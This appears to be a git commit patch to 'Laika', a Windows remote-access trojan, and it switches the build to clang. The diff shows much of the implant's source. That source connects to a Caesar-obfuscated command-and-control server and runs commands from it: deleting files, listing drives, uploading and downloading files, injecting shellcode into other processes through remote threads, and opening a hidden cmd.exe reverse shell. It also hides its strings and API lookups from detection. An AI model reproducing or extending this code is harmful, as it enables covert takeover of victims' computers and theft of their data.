From 589fd819427732fbe149c88c65893f0c673841af Mon Sep 17 00:00:00 2001 From: ALittlePatate Date: Tue, 24 Sep 2024 17:13:20 +0200 Subject: [PATCH] using clang now --- .gitignore | 1 + Laika/Laika.vcxproj | 95 ++++++++++++++------ Laika/Makefile | 31 +++++++ Laika/config.h | 2 +- Laika/file_explorer.c | 24 +++--- Laika/libc.c | 192 +++++++++++++++++++++++++++++------------ Laika/libc.h | 102 ++++++++++++++++++++++ Laika/main.c | 70 ++++++++------- Laika/resolve_apis.h | 13 +-- Laika/utils.c | 6 +- Server/BuildMenu.cs | 26 +++++- Server/FileExplorer.cs | 6 ++ Server/Menu.cs | 2 +- pasm | 2 +- patate-crypter | 2 +- readme.md | 1 + 16 files changed, 436 insertions(+), 139 deletions(-) create mode 100644 Laika/Makefile diff --git a/.gitignore b/.gitignore index 14eedc9..0014505 100644 --- a/.gitignore +++ b/.gitignore @@ -4,6 +4,7 @@ Release x64 *.bin +*.o bin obj packages \ No newline at end of file diff --git a/Laika/Laika.vcxproj b/Laika/Laika.vcxproj index 03204ed..7e7b7b7 100644 --- a/Laika/Laika.vcxproj +++ b/Laika/Laika.vcxproj @@ -23,33 +23,33 @@ Win32Proj {6c8dd8fe-e960-43b4-b757-effa9fe6bb00} Laika - 10.0 + 10.0.22621.0 Application true - v143 + ClangCL Unicode Application false - v143 - false + ClangCL + true Unicode Application true - v143 + ClangCL Unicode Application false - v143 - true + ClangCL + false Unicode @@ -71,13 +71,15 @@ - true + + ..\bin\ ..\obj\ $(SolutionDir)pasm/bin;../pasm/bin;$(LibraryPath) - true + + false false false @@ -94,13 +96,16 @@ $(SolutionDir)pasm/bin;../pasm/bin;$(LibraryPath) - false - true - true + + + false + false * ..\bin\ ..\obj\ $(SolutionDir)pasm/bin;../pasm/bin;$(LibraryPath) + false + false false @@ -111,21 +116,31 @@ false WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions);_CRT_SECURE_NO_WARNINGS true - stdcpp20 + stdcpp14 MultiThreaded Default false true CompileAsC + ProgramDatabase + false + true + -fwritable-strings %(AdditionalOptions) Console - true + DebugFull pasm.lib;%(AdditionalDependencies) true main true + true + true + + + + @@ -135,11 +150,18 @@ false WIN32;NDEBUG;_CONSOLE;_CRT_SECURE_NO_WARNINGS;%(PreprocessorDefinitions) true - stdcpp20 + stdcpp14 Disabled MultiThreaded false CompileAsC + None + Default + Size + false + false + false + -fwritable-strings %(AdditionalOptions) Console @@ -160,7 +182,13 @@ + + + + + + @@ -169,38 +197,57 @@ _DEBUG;_CONSOLE;%(PreprocessorDefinitions);_CRT_SECURE_NO_WARNINGS true MultiThreaded - stdcpp20 + stdcpp14 + -fwritable-strings %(AdditionalOptions) Console true pasm.lib;msvcrt.lib;%(AdditionalDependencies) + main + + + + Level3 true true - true + false NDEBUG;_CONSOLE;_CRT_SECURE_NO_WARNINGS;%(PreprocessorDefinitions) true Disabled - Neither + Size MultiThreaded - stdcpp20 + stdcpp14 + false + false + CompileAsC + None + -fwritable-strings %(AdditionalOptions) Console true true - true + DebugFull pasm.lib;%(AdditionalDependencies) - - - false - 16 + true + true + + + main + false + + + + + + diff --git a/Laika/Makefile b/Laika/Makefile new file mode 100644 index 0000000..503d8ee --- /dev/null +++ b/Laika/Makefile @@ -0,0 +1,31 @@ +SRC = file_explorer.c \ + libc.c \ + main.c \ + resolve_apis.c \ + shellcode.c \ + utils.c +OBJ = $(SRC:.c=.o) +NAME = Laika.exe +CC = C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\Llvm\x64\bin\clang +CFLAGS = -Os -fno-asynchronous-unwind-tables -DUNICODE -D_UNICODE -m32 -nostdlib -DLAIKA -fwritable-strings -D_WIN32_WINNT=0x0501 +BIN_DIR = ../bin + +all: $(BIN_DIR)/$(NAME) + +$(BIN_DIR)/$(NAME): $(OBJ) + $(MAKE) -C ../pasm -f Makefile_Windows lib + @if not exist $(BIN_DIR) (mkdir $(BIN_DIR)) + $(CC) $(CFLAGS) -o $(BIN_DIR)/$(NAME) $(OBJ) -L../pasm/bin/ -lpasm + +%.o: %.c + $(CC) $(CFLAGS) -c $< -o $@ + +clean: + @if exist *.o (del /q *.o) + $(MAKE) -C ../pasm -f Makefile_Windows clean + +fclean: clean + @if exist ..\bin (del /q ..\bin\Laika.*) + $(MAKE) -C ../pasm -f Makefile_Windows fclean + +.PHONY: all clean fclean diff --git a/Laika/config.h b/Laika/config.h index 4eec8bd..15b899f 100644 --- a/Laika/config.h +++ b/Laika/config.h @@ -1,7 +1,7 @@ #define FALLBACK_SERVERS 1 char* fallback_servers[FALLBACK_SERVERS] = { - "6>736;=3:;36", + "6>736;=36375", }; int fallback_servers_ip[FALLBACK_SERVERS] = { diff --git a/Laika/file_explorer.c b/Laika/file_explorer.c index 712a8e0..3fbf5af 100644 --- a/Laika/file_explorer.c +++ b/Laika/file_explorer.c @@ -38,14 +38,14 @@ char get_obj_info(const char* path) { } } -char* get_file_list(const char* dirPath, int* numFiles) { +LAIKA_NOOPT char* get_file_list(const char* dirPath, int* numFiles) { WIN32_FIND_DATA findData; HANDLE hFind = NULL; WCHAR searchPath[MAX_PATH]; mbstowcs_(searchPath, dirPath, MAX_PATH); - wcscat(searchPath, L"\\*.*"); + wcscat_(searchPath, L"\\*.*"); hFind = Api.FindFirstFileW(searchPath, &findData); if (hFind == INVALID_HANDLE_VALUE) { @@ -60,12 +60,12 @@ char* get_file_list(const char* dirPath, int* numFiles) { do { // Convert the file/folder name to a char string WCHAR wFileName[MAX_PATH]; - wcscpy(wFileName, findData.cFileName); + wcscpy_(wFileName, findData.cFileName); char fileName[MAX_PATH]; wcstombs_(fileName, wFileName, MAX_PATH); // Ignore the "." and ".." folders - if (strcmp(fileName, ".") == 0 || strcmp(fileName, "..") == 0) { + if (strcmp_(fileName, ".") == 0 || strcmp_(fileName, "..") == 0) { continue; } @@ -74,8 +74,8 @@ char* get_file_list(const char* dirPath, int* numFiles) { maxFiles *= 2; fileList = (char**)Api.Heaprealloc_(_crt_heap, HEAP_ZERO_MEMORY, fileList, maxFiles * sizeof(char*)); } - fileList[numFound] = (char*)Api.HeapAlloc(_crt_heap, HEAP_ZERO_MEMORY, strlen(fileName) + 1); - strcpy(fileList[numFound], fileName); + fileList[numFound] = (char*)Api.HeapAlloc(_crt_heap, HEAP_ZERO_MEMORY, strlen_(fileName) + 1); + strcpy_(fileList[numFound], fileName); numFound++; } while (Api.FindNextFileW(hFind, &findData) != 0); @@ -84,16 +84,16 @@ char* get_file_list(const char* dirPath, int* numFiles) { // Allocate a buffer to store the concatenated file/folder names separated by "/" int bufferSize = 0; for (int i = 0; i < numFound; i++) { - bufferSize += strlen(fileList[i]) + 1; // add 1 for the separator + bufferSize += strlen_(fileList[i]) + 1; // add 1 for the separator } char* fileNames = (char*)Api.HeapAlloc(_crt_heap, HEAP_ZERO_MEMORY, bufferSize); fileNames[0] = '\0'; // Concatenate the file/folder names separated by "/" for (int i = 0; i < numFound; i++) { - strcat(fileNames, fileList[i]); + strcat_(fileNames, fileList[i]); if (i < numFound - 1) { - strcat(fileNames, "/"); + strcat_(fileNames, "/"); } Api.Heapfree_(_crt_heap, 0, fileList[i]); } @@ -183,7 +183,7 @@ int download_file(HANDLE fp, SOCKET sock) { // If send would block, wait until the socket is writable fd_set write_fds; FD_ZERO(&write_fds); - FD_SET(sock, &write_fds); + FD_SET_(sock, &write_fds); if (Api.select(sock + 1, NULL, &write_fds, NULL, NULL) == SOCKET_ERROR) { Api.Heapfree_(_crt_heap, 0, data); @@ -193,7 +193,7 @@ int download_file(HANDLE fp, SOCKET sock) { } } else { - Api.send(sock, "", strlen(""), 0); + Api.send(sock, "", strlen_(""), 0); Api.Heapfree_(_crt_heap, 0, data); Api.CloseHandle(fp); Sleep_(Sleep_TIME); @@ -207,7 +207,7 @@ int download_file(HANDLE fp, SOCKET sock) { } } - Api.send(sock, "", strlen(""), 0); + Api.send(sock, "", strlen_(""), 0); Api.CloseHandle(fp); Api.Heapfree_(_crt_heap, 0, data); diff --git a/Laika/libc.c b/Laika/libc.c index 0f3b62d..1d14395 100644 --- a/Laika/libc.c +++ b/Laika/libc.c @@ -1,25 +1,12 @@ #include "libc.h" #include "resolve_apis.h" -size_t strlen_(char* src) { - size_t s = 0; +extern LAIKA_NOOPT size_t wchar_to_utf8(wchar_t wc, unsigned char* utf8); - if (src == NULL) - return 0; - for (; src[s] != 0; s++); - return s; -} - -char* strcpy_(char* dest, const char* src) { - size_t i = 0; - - for (; src[i] != 0; i++) - dest[i] = src[i]; - dest[i] = 0; - return dest; -} - -char* strncpy_(char* dest, const char* src, size_t n) { +#ifdef _MSC_VER +#pragma optimize("", off) +#endif +LAIKA_NOOPT char* strncpy_(char* dest, const char* src, size_t n) { size_t i = 0; for (; i < n && src[i] != 0; i++) @@ -29,15 +16,58 @@ char* strncpy_(char* dest, const char* src, size_t n) { return dest; } -void *memset_(void* a, int val, size_t size) { - if (a == NULL) - return NULL; - for (size_t i = 0; i < size; i++) - ((char*)a)[i] = (char)val; - return a; +LAIKA_NOOPT void* memset_(void* a, int val, size_t size) { + if (a == NULL) + return NULL; + for (size_t i = 0; i < size; i++) + ((char*)a)[i] = (char)val; + return a; } -int strncmp_(char* a, char* b, size_t size) { +LAIKA_NOOPT size_t wcstombs_(char* dest, const wchar_t* src, size_t n) { + size_t count = 0; + unsigned char utf8[4]; + + while (*src != L'\0' && count < n) { + size_t len = wchar_to_utf8(*src, utf8); + if (len == 0 || count + len > n) + return (size_t)-1; + if (dest != NULL) { + for (size_t i = 0; i < len; i++) + dest[count++] = (char)utf8[i]; + } + else + count += len; + src++; + } + if (dest != NULL && count < n) + dest[count] = '\0'; + return count; +} + +#ifdef _MSC_VER +#pragma optimize("", on) +#endif + +LAIKA_NOOPT char* strcpy_(char* dest, const char* src) { + size_t i = 0; + + for (; src[i] != 0; i++) + dest[i] = src[i]; + dest[i] = 0; + return dest; +} + +LAIKA_NOOPT size_t strlen_(char* src) { + size_t s = 0; + + if (src == NULL) + return 0; + for (; src[s] != 0; s++); + return s; +} + +LAIKA_NOOPT int strncmp_(char* a, char* b, size_t size) { if (a == NULL || b == NULL) return -1; for (size_t i = 0; a[i] != 0 && b[i] != 0 && i < size; i++) @@ -46,7 +76,7 @@ int strncmp_(char* a, char* b, size_t size) { return 0; } -size_t utf8_char_length(unsigned char c) { +LAIKA_NOOPT size_t utf8_char_length(unsigned char c) { if ((c & 0x80) == 0) return 1; // 1-byte character: 0xxxxxxx if ((c & 0xE0) == 0xC0) return 2; // 2-byte character: 110xxxxx if ((c & 0xF0) == 0xE0) return 3; // 3-byte character: 1110xxxx @@ -54,7 +84,7 @@ size_t utf8_char_length(unsigned char c) { return 0; // Invalid UTF-8 } -wchar_t utf8_to_wchar(const unsigned char* mbstr, size_t* length) { +LAIKA_NOOPT wchar_t utf8_to_wchar(const unsigned char* mbstr, size_t* length) { wchar_t wc = 0; size_t len = utf8_char_length(mbstr[0]); *length = len; @@ -79,7 +109,7 @@ wchar_t utf8_to_wchar(const unsigned char* mbstr, size_t* length) { return wc; } -size_t mbstowcs_(wchar_t* dest, const char* src, size_t n) { +LAIKA_NOOPT size_t mbstowcs_(wchar_t* dest, const char* src, size_t n) { size_t count = 0; const unsigned char* mbstr = (const unsigned char*)src; @@ -98,7 +128,7 @@ size_t mbstowcs_(wchar_t* dest, const char* src, size_t n) { return count; } -size_t wchar_to_utf8(wchar_t wc, unsigned char* utf8) { +LAIKA_NOOPT size_t wchar_to_utf8(wchar_t wc, unsigned char* utf8) { if (wc <= 0x7F) { utf8[0] = (unsigned char)wc; return 1; @@ -124,28 +154,7 @@ size_t wchar_to_utf8(wchar_t wc, unsigned char* utf8) { return 0; // Invalid wide character } -size_t wcstombs_(char* dest, const wchar_t* src, size_t n) { - size_t count = 0; - unsigned char utf8[4]; - - while (*src != L'\0' && count < n) { - size_t len = wchar_to_utf8(*src, utf8); - if (len == 0 || count + len > n) - return (size_t)-1; - if (dest != NULL) { - for (size_t i = 0; i < len; i++) - dest[count++] = (char)utf8[i]; - } - else - count += len; - src++; - } - if (dest != NULL && count < n) - dest[count] = '\0'; - return count; -} - -int wcscmp_(const wchar_t* s1, const wchar_t* s2) { +LAIKA_NOOPT int wcscmp_(const wchar_t* s1, const wchar_t* s2) { while (*s1 != L'\0' && *s2 != L'\0') { if (*s1 != *s2) return (*s1 < *s2) ? -1 : 1; @@ -160,7 +169,7 @@ int wcscmp_(const wchar_t* s1, const wchar_t* s2) { return 1; } -wchar_t* wcsstr_(const wchar_t* haystack, const wchar_t* needle) { +LAIKA_NOOPT wchar_t* wcsstr_(const wchar_t* haystack, const wchar_t* needle) { if (!*needle) return (wchar_t*)haystack; while (*haystack) { @@ -178,6 +187,51 @@ wchar_t* wcsstr_(const wchar_t* haystack, const wchar_t* needle) { return NULL; } +LAIKA_NOOPT wchar_t* wcscat_(wchar_t* dest, const wchar_t* src) { + wchar_t* d = dest; + while (*d != L'\0') { + d++; + } + const wchar_t* s = src; + while (*s != L'\0') { + *d = *s; + d++; + s++; + } + *d = L'\0'; + return dest; +} + +LAIKA_NOOPT wchar_t* wcscpy_(wchar_t* dest, const wchar_t* src) { + wchar_t* d = dest; + const wchar_t* s = src; + while ((*d++ = *s++) != L'\0') { + } + + return dest; +} + +LAIKA_NOOPT int strcmp_(const char* s1, const char* s2) { + while (*s1 && (*s1 == *s2)) { + s1++; + s2++; + } + return (*(unsigned char*)s1 - *(unsigned char*)s2); +} + +LAIKA_NOOPT char* strcat_(char* dest, const char* src) { + char* d = dest; + + while (*d != '\0') { + d++; + } + while (*src != '\0') { + *d++ = *src++; + } + *d = '\0'; + return dest; +} + char** split_lines(const char* fileContent, int* lineCount) { int lines = 0; const char* start = fileContent; @@ -250,7 +304,7 @@ void* my_GetProcAddress(HMODULE hModule, LPCSTR lpProcName) { for (DWORD i = 0; i < exportDir->NumberOfNames; i++) { const char* functionName = (const char*)((BYTE*)hModule + nameRVAs[i]); - if (strcmp(functionName, lpProcName) == 0) { + if (strcmp_(functionName, lpProcName) == 0) { DWORD funcRVA = addrRVAs[ordinals[i]]; void* funcPtr = (void*)((BYTE*)hModule + funcRVA); return funcPtr; @@ -259,8 +313,38 @@ void* my_GetProcAddress(HMODULE hModule, LPCSTR lpProcName) { return NULL; } +#ifdef _M_X64 +unsigned long long __readgsqword_(unsigned long long offset) { +#ifndef _MSC_VER + unsigned long long value; + __asm__ __volatile__( + "movq %%gs:%1, %0" + : "=r" (value) + : "m" (*(unsigned long long*)(offset)) + ); + return value; +#else + return __readgsqword(offset); +#endif +} +#else +unsigned long __readfsdword_(unsigned long offset) { +#ifndef _MSC_VER + unsigned long value; + __asm__ __volatile__( + "movl %%fs:%1, %0" + : "=r" (value) + : "m" (*(unsigned long*)(offset)) + ); + return value; +#else + return __readfsdword(offset); +#endif +} +#endif + void* get_ntfunction(const char* func) { - PTEB tebPtr = GetTEB(); + PTEB_ tebPtr = GetTEB(); PPEB_LDR_DATA ldrData = tebPtr->ProcessEnvironmentBlock->Ldr; PLIST_ENTRY moduleList = &(ldrData->InMemoryOrderModuleList); diff --git a/Laika/libc.h b/Laika/libc.h index 5e3e6fa..0b883b6 100644 --- a/Laika/libc.h +++ b/Laika/libc.h @@ -1,17 +1,119 @@ #pragma once #include +//#include #include extern HANDLE _crt_heap; +#ifndef _MSC_VER +#define LAIKA_NOOPT __attribute__((optimize("O0"))) +#else +#define LAIKA_NOOPT +#endif + +typedef long NTSTATUS; + +#define FD_SET_(fd, set) do { \ + if (((fd_set FAR *)(set))->fd_count < FD_SETSIZE) \ + ((fd_set FAR *)(set))->fd_array[((fd_set FAR *)(set))->fd_count++]=(fd);\ +} while(0) + +typedef struct _UNICODE_STRING { + USHORT Length; + USHORT MaximumLength; + PWSTR Buffer; +} UNICODE_STRING; +typedef UNICODE_STRING* PUNICODE_STRING; +typedef const UNICODE_STRING* PCUNICODE_STRING; + +typedef struct _PEB_LDR_DATA { + BYTE Reserved1[8]; + PVOID Reserved2[3]; + LIST_ENTRY InMemoryOrderModuleList; +} PEB_LDR_DATA, * PPEB_LDR_DATA; + +typedef struct _LDR_DATA_TABLE_ENTRY { + PVOID Reserved1[2]; + LIST_ENTRY InMemoryOrderLinks; + PVOID Reserved2[2]; + PVOID DllBase; + PVOID Reserved3[2]; + UNICODE_STRING FullDllName; + BYTE Reserved4[8]; + PVOID Reserved5[3]; + union { + ULONG CheckSum; + PVOID Reserved6; + } DUMMYUNIONNAME; + ULONG TimeDateStamp; +} LDR_DATA_TABLE_ENTRY, * PLDR_DATA_TABLE_ENTRY; + +typedef struct _RTL_USER_PROCESS_PARAMETERS { + BYTE Reserved1[16]; + PVOID Reserved2[10]; + UNICODE_STRING ImagePathName; + UNICODE_STRING CommandLine; +} RTL_USER_PROCESS_PARAMETERS, * PRTL_USER_PROCESS_PARAMETERS; + +typedef +VOID +(NTAPI* PPS_POST_PROCESS_INIT_ROUTINE) ( + VOID + ); + +typedef struct _PEB { + BYTE Reserved1[2]; + BYTE BeingDebugged; + BYTE Reserved2[1]; + PVOID Reserved3[2]; + PPEB_LDR_DATA Ldr; + PRTL_USER_PROCESS_PARAMETERS ProcessParameters; + PVOID Reserved4[3]; + PVOID AtlThunkSListPtr; + PVOID Reserved5; + ULONG Reserved6; + PVOID Reserved7; + ULONG Reserved8; + ULONG AtlThunkSListPtr32; + PVOID Reserved9[45]; + BYTE Reserved10[96]; + PPS_POST_PROCESS_INIT_ROUTINE PostProcessInitRoutine; + BYTE Reserved11[128]; + PVOID Reserved12[1]; + ULONG SessionId; +} PEB, * PPEB; + +typedef struct __TEB { + PVOID Reserved1[12]; + PPEB ProcessEnvironmentBlock; + PVOID Reserved2[399]; + BYTE Reserved3[1952]; + PVOID TlsSlots[64]; + BYTE Reserved4[8]; + PVOID Reserved5[26]; + PVOID ReservedForOle; + PVOID Reserved6[4]; + PVOID TlsExpansionSlots; +} TEB_, * PTEB_; + +#ifdef _M_X64 +unsigned long long __readgsqword_(unsigned long long offset); +#else +unsigned long __readfsdword_(unsigned long offset); +#endif + char* strcpy_(char* dest, const char* src); size_t strlen_(char* src); int strncmp_(char* a, char* b, size_t size); +int strcmp_(const char* s1, const char* s2); +char* strcat_(char* dest, const char* src); void *memset_(void* a, int val, size_t size); size_t mbstowcs_(wchar_t* dest, const char* src, size_t n); size_t wcstombs_(char* dest, const wchar_t* src, size_t n); int wcscmp_(const wchar_t* s1, const wchar_t* s2); wchar_t* wcsstr_(const wchar_t* haystack, const wchar_t* needle); +wchar_t* wcscat_(wchar_t* dest, const wchar_t* src); +wchar_t* wcscpy_(wchar_t* dest, const wchar_t* src); char** split_lines(const char* fileContent, int* lineCount); void* my_GetProcAddress(HMODULE hModule, LPCSTR lpProcName); void* get_ntfunction(const char* func); diff --git a/Laika/main.c b/Laika/main.c index 066fa84..0435d86 100644 --- a/Laika/main.c +++ b/Laika/main.c @@ -3,7 +3,7 @@ #include #include -#include +//#include #include #include "utils.h" @@ -124,7 +124,7 @@ DWORD WINAPI watch_process(LPVOID lpParameter) { } void SendShellEndedSignal(SOCKET sock) { - if (Api.send(sock, "Qfnpf?%xjxxnts%jsiji", strlen("Qfnpf?%xjxxnts%jsiji"), 0) < 0) //Laika: session ended + if (Api.send(sock, "Qfnpf?%xjxxnts%jsiji", strlen_("Qfnpf?%xjxxnts%jsiji"), 0) < 0) //Laika: session ended { //send failed } @@ -132,13 +132,14 @@ void SendShellEndedSignal(SOCKET sock) { int serv = -1; HANDLE _crt_heap = 0; + int main(void) { InitApis(); _crt_heap = Api.HeapCreate(0, 0, 0); wchar_t wtext[20]; - mbstowcs_(wtext, CAESAR_DECRYPT("hri3j}j"), strlen(CAESAR_DECRYPT("hri3j}j")) + 1);//Plus null + mbstowcs_(wtext, CAESAR_DECRYPT("hri3j}j"), strlen_(CAESAR_DECRYPT("hri3j}j")) + 1);//Plus null LPWSTR cmd_char = wtext; int sock = 0; @@ -167,9 +168,9 @@ retry: //on fait une copie de l'ip chiffrée, puis on la free_ //ça évite qu'elle reste dans la mémoire trop longtemps //ça évite aussi qu'on utilise CAESAR_DECRYPT sur une ip déjà décryptée - size_t len = strlen(fallback_servers[serv]); + size_t len = strlen_(fallback_servers[serv]); char* Tmp = Api.HeapAlloc(_crt_heap, HEAP_ZERO_MEMORY, len + 1); - strcpy(Tmp, fallback_servers[serv]); + strcpy_(Tmp, fallback_servers[serv]); server.sin_addr.s_addr = Api.inet_addr(CAESAR_DECRYPT(Tmp)); @@ -206,7 +207,7 @@ retry: goto retry; } - if (strncmp_(server_reply, "ijqdknqj", strlen("ijqdknqj")) == 0) { //del_file + if (strncmp_(server_reply, "ijqdknqj", strlen_("ijqdknqj")) == 0) { //del_file char* path = (char*)Api.HeapAlloc(_crt_heap, HEAP_ZERO_MEMORY, MAX_PATH); //Receive a reply from the server @@ -223,7 +224,7 @@ retry: Api.Heapfree_(_crt_heap, 0, path); } - if (strncmp_(server_reply, "ijqdinw", strlen("ijqdinw")) == 0) { //del_dir + if (strncmp_(server_reply, "ijqdinw", strlen_("ijqdinw")) == 0) { //del_dir char* path = (char*)Api.HeapAlloc(_crt_heap, HEAP_ZERO_MEMORY, MAX_PATH); //Receive a reply from the server @@ -243,7 +244,7 @@ retry: Api.Heapfree_(_crt_heap, 0, path); } - if (strncmp_(server_reply, "ljydtgodnskt", strlen("ljydtgodnskt")) == 0) { //get_obj_info + if (strncmp_(server_reply, "ljydtgodnskt", strlen_("ljydtgodnskt")) == 0) { //get_obj_info char* path = (char*)Api.HeapAlloc(_crt_heap, HEAP_ZERO_MEMORY, MAX_PATH); //Receive a reply from the server @@ -263,12 +264,12 @@ retry: } } - if (strncmp_(server_reply, "ljydiwn{jx", strlen("ljydiwn{jx")) == 0) { //get_drives + if (strncmp_(server_reply, "ljydiwn{jx", strlen_("ljydiwn{jx")) == 0) { //get_drives char* drives = (char*)Api.HeapAlloc(_crt_heap, HEAP_ZERO_MEMORY, MAX_PATH); get_drives_list(drives); - if (Api.send(sock, drives, strlen(drives), 0) < 0) { + if (Api.send(sock, drives, strlen_(drives), 0) < 0) { //send failed Api.Heapfree_(_crt_heap, 0, drives); Sleep_(Sleep_TIME); @@ -278,7 +279,7 @@ retry: Api.Heapfree_(_crt_heap, 0, drives); } - if (strncmp_(server_reply, "j}jhzyj", strlen("j}jhzyj")) == 0) { //execute + if (strncmp_(server_reply, "j}jhzyj", strlen_("j}jhzyj")) == 0) { //execute char* path = (char*)Api.HeapAlloc(_crt_heap, HEAP_ZERO_MEMORY, MAX_PATH); STARTUPINFOA si; PROCESS_INFORMATION pi; @@ -310,7 +311,7 @@ retry: } #ifdef SHELLCODE - if (strncmp_(server_reply, "nsojhy", strlen("nsojhy")) == 0) { //inject + if (strncmp_(server_reply, "nsojhy", strlen_("nsojhy")) == 0) { //inject char* arch = (char*)Api.HeapAlloc(_crt_heap, HEAP_ZERO_MEMORY, 2); if (Api.recv(sock, arch, 2, 0) <= 0) { @@ -324,13 +325,13 @@ retry: size_t fsize = 0; char *file = upload_file_to_mem(sock, &fsize); if (file == NULL) { - Api.send(sock, "fail", strlen("fail"), 0); + Api.send(sock, "fail", strlen_("fail"), 0); Sleep_(Sleep_TIME); goto retry; } HANDLE proc = NULL; - if (strncmp_(arch, "32", strlen("32")) == 0) { + if (strncmp_(arch, "32", strlen_("32")) == 0) { proc = FindProcessByArch(L"x86"); } else { @@ -340,7 +341,7 @@ retry: Api.Heapfree_(_crt_heap, 0, arch); if (proc == NULL) { - Api.send(sock, "fail", strlen("fail"), 0); + Api.send(sock, "fail", strlen_("fail"), 0); Api.Heapfree_(_crt_heap, 0, file); Sleep_(Sleep_TIME); goto retry; @@ -348,7 +349,7 @@ retry: LPVOID addr = Api.VirtualAllocEx(proc, NULL, fsize, MEM_COMMIT, PAGE_EXECUTE_READWRITE); if (addr == NULL) { - Api.send(sock, "fail", strlen("fail"), 0); + Api.send(sock, "fail", strlen_("fail"), 0); Api.Heapfree_(_crt_heap, 0, file); Api.CloseHandle(proc); Sleep_(Sleep_TIME); @@ -356,7 +357,7 @@ retry: } if (Api.WriteProcessMemory(proc, addr, file, fsize, NULL) == 0) { - Api.send(sock, "fail", strlen("fail"), 0); + Api.send(sock, "fail", strlen_("fail"), 0); Api.Heapfree_(_crt_heap, 0, file); Api.CloseHandle(proc); Sleep_(Sleep_TIME); @@ -365,7 +366,7 @@ retry: HANDLE hThread = Api.CreateRemoteThread(proc, NULL, 0, (LPTHREAD_START_ROUTINE)addr, NULL, 0, NULL); if (hThread == NULL) { - Api.send(sock, "fail", strlen("fail"), 0); + Api.send(sock, "fail", strlen_("fail"), 0); Api.Heapfree_(_crt_heap, 0, file); Api.CloseHandle(proc); Sleep_(Sleep_TIME); @@ -375,10 +376,10 @@ retry: Api.Heapfree_(_crt_heap, 0, file); Api.CloseHandle(proc); Api.CloseHandle(hThread); - Api.send(sock, "ok", strlen("ok"), 0); + Api.send(sock, "ok", strlen_("ok"), 0); } #endif - if (strncmp_(server_reply, "ljydknqjdqnxy", strlen("ljydknqjdqnxy")) == 0) { //get_file_list + if (strncmp_(server_reply, "ljydknqjdqnxy", strlen_("ljydknqjdqnxy")) == 0) { //get_file_list char* file_list = (char*)Api.HeapAlloc(_crt_heap, HEAP_ZERO_MEMORY, BUFFER_SIZE); char* path = (char*)Api.HeapAlloc(_crt_heap, HEAP_ZERO_MEMORY, MAX_PATH); @@ -403,7 +404,7 @@ retry: } - if (Api.send(sock, file_list, strlen(file_list), 0) < 0) { + if (Api.send(sock, file_list, strlen_(file_list), 0) < 0) { //send failed Api.Heapfree_(_crt_heap, 0, file_list); Api.Heapfree_(_crt_heap, 0, path); @@ -414,7 +415,7 @@ retry: Api.Heapfree_(_crt_heap, 0, path); } - if (strncmp_(server_reply, "it|sqtfidknqj", strlen("it|sqtfidknqj")) == 0) { //download_file + if (strncmp_(server_reply, "it|sqtfidknqj", strlen_("it|sqtfidknqj")) == 0) { //download_file char* path = (char*)Api.HeapAlloc(_crt_heap, HEAP_ZERO_MEMORY, MAX_PATH); //Receive a reply from the server @@ -441,7 +442,7 @@ retry: } } - if (strncmp_(server_reply, "zuqtfidknqj", strlen("zuqtfidknqj")) == 0) { //upload_file + if (strncmp_(server_reply, "zuqtfidknqj", strlen_("zuqtfidknqj")) == 0) { //upload_file char* path = (char*)Api.HeapAlloc(_crt_heap, HEAP_ZERO_MEMORY, MAX_PATH); //Receive a reply from the server @@ -470,7 +471,7 @@ retry: Api.Heapfree_(_crt_heap, 0, path); } - if (strncmp_(server_reply, "xmjqq", strlen("xmjqq")) == 0) { //shell + if (strncmp_(server_reply, "xmjqq", strlen_("xmjqq")) == 0) { //shell started = 0; // Set the socket as standard output and error SECURITY_ATTRIBUTES sa; @@ -478,14 +479,14 @@ retry: sa.bInheritHandle = TRUE; sa.lpSecurityDescriptor = NULL; if (!Api.CreatePipe(&g_hChildStd_OUT_Rd, &g_hChildStd_OUT_Wr, &sa, 0)) { - Api.send(sock, "fail", strlen("fail"), 0); + Api.send(sock, "fail", strlen_("fail"), 0); SendShellEndedSignal(sock); Sleep_(Sleep_TIME); goto retry; } if (!Api.CreatePipe(&g_hChildStd_IN_Rd, &g_hChildStd_IN_Wr, &sa, 0)) { Api.CloseHandle(g_hChildStd_IN_Rd); - Api.send(sock, "fail", strlen("fail"), 0); + Api.send(sock, "fail", strlen_("fail"), 0); SendShellEndedSignal(sock); Sleep_(Sleep_TIME); goto retry; @@ -497,7 +498,7 @@ retry: if (hThread == NULL || hThread2 == NULL) { Api.CloseHandle(g_hChildStd_OUT_Wr); Api.CloseHandle(g_hChildStd_IN_Rd); - Api.send(sock, "fail", strlen("fail"), 0); + Api.send(sock, "fail", strlen_("fail"), 0); SendShellEndedSignal(sock); Sleep_(Sleep_TIME); goto retry; @@ -516,7 +517,7 @@ retry: memset_(&pi, 0, sizeof(PROCESS_INFORMATION)); if (!Api.CreateProcessW(NULL, cmd_char, NULL, NULL, TRUE, CREATE_NO_WINDOW, NULL, NULL, &si, &pi)) { //cmd.exe - Api.send(sock, "fail", strlen("fail"), 0); + Api.send(sock, "fail", strlen_("fail"), 0); SendShellEndedSignal(sock); Api.CloseHandle(g_hChildStd_OUT_Wr); Api.CloseHandle(g_hChildStd_IN_Rd); @@ -594,11 +595,11 @@ retry: } } - if (strncmp_(server_reply, "ufxr", strlen("ufxr")) == 0) { //pasm + if (strncmp_(server_reply, "ufxr", strlen_("ufxr")) == 0) { //pasm size_t fsize = 0; char* file = upload_file_to_mem(sock, &fsize); if (file == NULL) { - Api.send(sock, "fail", strlen("fail"), 0); + Api.send(sock, "fail", strlen_("fail"), 0); Sleep_(Sleep_TIME); goto retry; } @@ -606,7 +607,7 @@ retry: int line_count = 0; char** lines = split_lines(file, &line_count); if (lines == NULL) { - Api.send(sock, "fail", strlen("fail"), 0); + Api.send(sock, "fail", strlen_("fail"), 0); Api.Heapfree_(_crt_heap, 0, file); Sleep_(Sleep_TIME); goto retry; @@ -614,7 +615,7 @@ retry: pasm_run_script(NULL, lines, line_count, sock); - Api.send(sock, "Qfnpf?%jsi%tk%xhwnuy", strlen("Qfnpf?%jsi%tk%xhwnuy"), 0); //Laika: end of script + Api.send(sock, "Qfnpf?%jsi%tk%xhwnuy", strlen_("Qfnpf?%jsi%tk%xhwnuy"), 0); //Laika: end of script Api.Heapfree_(_crt_heap, 0, file); if (lines != NULL) Api.Heapfree_(_crt_heap, 0, lines); @@ -628,6 +629,11 @@ retry: return 0; } +extern void mainCRTStartup(void); +void mainCRTStartup(void) { + main(); +} + /* BOOL APIENTRY main(HMODULE hModule, DWORD ul_reason_for_call, diff --git 